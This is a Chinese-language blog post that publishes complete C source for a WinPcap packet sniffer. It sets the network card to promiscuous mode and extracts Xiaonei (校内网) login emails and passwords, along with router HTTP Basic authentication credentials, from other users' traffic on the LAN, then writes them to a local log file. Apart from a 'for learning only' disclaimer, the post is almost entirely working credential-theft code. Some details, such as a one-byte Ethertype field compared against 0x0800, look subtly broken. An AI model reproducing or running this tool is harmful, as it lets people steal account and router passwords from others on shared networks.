ADSL路由器密码+校内网([url]http://www.xiaonei.com[/url])密码嗅探器
说明:该程序使用WinPcap开发。仅用以学习交流,本人不承担使用该程序造成的一切责任。
如果你是WinPacp新手,请先看看我的这篇《WinPacp开发“准备活动”》
http://hi.bc-cn.net/112902/viewspace-8772
先发个截图:
以下是源代码:
//By RedIce
//E-mail:redice@see.xidian.edu.cn
//http://redice.1.suhai.com.cn
#include <pcap.h>
int k=1;
char LogFile[200];//日志文件路径
/*物理帧头结构*/
typedef struct {
BYTE DesMAC[6];//目的MAC地址
BYTE SrcMAC[6];//源MAC地址
BYTE Ethertype;//帧类型
}DLC_Header;
BYTE tcp_body[1024];//Tcp数据部分
//IP报头结构
typedef struct {
BYTE h_len:4; //首部长度指的是IP层头部占32 bit字的数目
//(也就是IP层头部包含多少个4字节,实际字节数4*hlen),
BYTE version:4; //IP版本号
BYTE tos; //服务类型TOS
USHORT total_len; //IP包总长度
USHORT ident; //标识
USHORT frag_and_flags; //标志位
BYTE ttl; //生存时间
BYTE proto; //协议
USHORT checksum; //IP首部校验和
BYTE sourceIP[4]; //源IP地址(32位)
BYTE destIP[4]; //目的IP地址(32位)
}IpHeader;
//TCP头
typedef struct _TCP{
USHORT SrcPort; // 源端口
USHORT DstPort; // 目的端口
UINT SeqNum; // 顺序号
UINT AckNum; // 确认号
BYTE DataOff; // TCP头长
BYTE Flags; // 标志(URG、ACK等)
USHORT Window; // 窗口大小
USHORT Chksum; // 校验和
USHORT UrgPtr; // 紧急指针
}TcpHeader;
void PutBytesIntoLog(char *,char *);
void packet_handler(u_char *, const struct pcap_pkthdr *, const u_char *);
void main()
{
pcap_t *fp;
struct timeval st_ts;
char errbuf[PCAP_ERRBUF_SIZE];
char packet_filter[] = "";
pcap_if_t *alldevs;
pcap_if_t *d;
UINT netmask;
struct bpf_program fcode;
int i=0;
BYTE choise;
memset(LogFile,0,200);
if(!GetCurrentDirectory(200,LogFile))
{
printf("获取程序当前目录失败!\n");
return;
}
if(LogFile[strlen(LogFile)-1]!='\\')//如果程序当前路径最后一个字符不是'\'则加之
{
LogFile[strlen(LogFile)]='\\';
}
strcat(LogFile,"Pass.log");//产生日志文件路径(含名称)
/* 获取本地机器设备列表 */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
{
fprintf(stderr,"获取网卡设备列表出错: %s\n", errbuf);
return;
}
//列出网卡设备信息
for(d=alldevs,i=0; d!=NULL; i++,d=d->next)
{
printf("网卡%d :%s\n(描述:%s)\n",i+1,d->name,d->description);
}
if(0==i)//没有网卡
{
printf("未找到网卡设备!\n");
pcap_freealldevs(alldevs);
}
else if(1==i)//仅有一块网卡
{
printf("本机仅有一块网卡设备,程序将使用该网卡!\n");
d=alldevs;
}
else//有多块网卡
{
printf("本机有%d块网卡设备,请指定本程序要使用的网卡设备编号:",i);
label:
choise=(char)getchar()-'0'; //取得用户选择的网卡编号
if(choise<0||choise>i)
{
printf("\n错误的网卡编号,请重新选择:\n");
goto label;
}
for(d=alldevs,i=1; i<choise;i++,d=d->next);
}
/* 打开输出设备 */
if ( (fp= pcap_open(d->name, // 设备名
65536, // 要捕获的部分
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
) ) == NULL)
{
printf("\n不能打开该网卡. %s 不被WinPacp驱动所支持!\n", d->name);
pcap_freealldevs(alldevs);
return;
}
/* 检查数据链路层,为了简单,我们只考虑以太网 */
if(pcap_datalink(fp) != DLT_EN10MB)
{
fprintf(stderr,"\n这个程序仅能工作于局域网.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
if(d->addresses!=NULL)
/* 获得接口第一个地址的掩码 */
netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/* 如果接口没有地址,那么我们假设一个C类的掩码 */
netmask=0xffffff;
//编译过滤器
if (pcap_compile(fp, &fcode, packet_filter, 1, netmask) <0 )
{
fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
//设置过滤器
if (pcap_setfilter(fp, &fcode)<0)
{
fprintf(stderr,"\nError setting the filter.\n");
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return;
}
/* 不再需要设备列表了,释放它 */
pcap_freealldevs(alldevs);
printf("\n正在监听网卡%d...\n",choise);
/* 开始捕捉 */
//pcap_loop(fp, 0, packet_handler, NULL);
pcap_loop(fp, 0, packet_handler, (PUCHAR)&st_ts);
//pcap_dispatch(fp, 0, packet_handler, NULL);
return;
}
/* 回调函数,当收到每一个数据包时会被libpcap所调用 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
int i=0;
BYTE cr[5];//双汇车换行,用以从HTTP报文中截取有用的数据
DLC_Header *dlcheader;//物理帧
IpHeader *ipheader;//IP头
TcpHeader *tcpheader;//Tcp头
USHORT ip_len;//IP头的长度
BYTE tcp_body[6000];//Tcp包
BYTE userpass[100];//密码
UINT userpasslen;
UINT tcp_body_len;//Tcp包的长度
BYTE ip[50];//IP地址
dlcheader=(DLC_Header *)pkt_data;
if(0x0800!=ntohs(dlcheader->Ethertype)) return; //如果不是IP包则返回
ipheader=(IpHeader *)(pkt_data+14);//Ip头
memset(ip,0,50);
sprintf(ip,"IP From->To:%d.%d.%d.%d->%d.%d.%d.%d\n",
ipheader->sourceIP[0],
ipheader->sourceIP[1],
ipheader->sourceIP[2],
ipheader->sourceIP[3],
ipheader->destIP[0],
ipheader->destIP[1],
ipheader->destIP[2],
ipheader->destIP[3]
);
//printf(" *%d* %s",k++,ip);
if(0x06!=ipheader->proto) return;//如果不是TCP包则返回
ip_len=(ipheader->h_len & 0xf)*4;
tcpheader=(TcpHeader *)((char *)ipheader+ip_len);
memset(tcp_body,0,6000);
tcp_body_len=ntohs(ipheader->total_len)-ip_len;//TCP包的长度=IP包的长度-IP头的长度
if(ntohs(tcpheader->DstPort)!=0x0050) return; //如果不是http包则返回
memcpy(tcp_body,(void *)((char *)tcpheader+20),tcp_body_len-20);
cr[0]=0x0D;
cr[1]=0x0A;
cr[2]=0x0D;
cr[3]=0x0A;
cr[4]=0x00;
//经过一下四重判断,足以肯定该数据包中含有校内网用户登录名和密码
if(strstr(tcp_body,"xiaonei.com"))//如果包中有"xiaonei.com"字段则继续
{
//printf("\n\n完整的数据包\n%s",tcp_body);
if(strstr(tcp_body,cr))//如果包中有分隔符(双回车换行)则继续
{
//printf("\n\n完整的数据包\n%s",strstr(tcp_body,cr));
if(strstr(strstr(tcp_body,cr),"email="))//分隔符后有"email="字段则继续
{
if(strstr(strstr(tcp_body,cr),"password="))//如果分隔符后有"password="字段则继续
{
printf(" *%d* %s",k++,ip);
memset(userpass,0,100);
//计算用户名和密码字段总长度(报文格式:0x0d0x0a0x0d0x0aemail=***&password=***&orig)
userpasslen=strlen(strstr(tcp_body,cr))-strlen(strstr(tcp_body,"&orig")-4);
memcpy(userpass,(void*)(strstr(tcp_body,cr)+4),userpasslen);
printf("发现密码:\n%s\n",userpass);
//将用户名密码写入文件
PutBytesIntoLog(ip,LogFile);//写入IP地址
PutBytesIntoLog(userpass,LogFile);
PutBytesIntoLog(cr,LogFile);//写入换行符
}
}
}
}
//如果包中含有该字段则可以推断这是含有路由器认证的数据包
if(strstr(tcp_body,"Authorization: Basic"))
{
printf(" *%d* %s",k++,ip);
memset(userpass,0,100);
userpasslen=strlen(strstr(tcp_body,"Authorization: Basic"))-strlen(strstr(tcp_body,cr));
memcpy(userpass,strstr(tcp_body,"Authorization: Basic"),userpasslen);
printf("发现路由器帐号密码:\n%s\n",userpass);
PutBytesIntoLog(ip,LogFile);//写入IP地址
PutBytesIntoLog(userpass,LogFile);
PutBytesIntoLog(cr,LogFile);//写入换行符
}
//对其它数据包的处理
return;
}
void PutBytesIntoLog (char *buf,char *filename)
{
FILE *fileopr;
if((fileopr=fopen(filename,"a"))==NULL)
{
printf("\n打开日志出错!\n");
}
fwrite(buf,sizeof(char),strlen(buf),fileopr);
fclose(fileopr);
}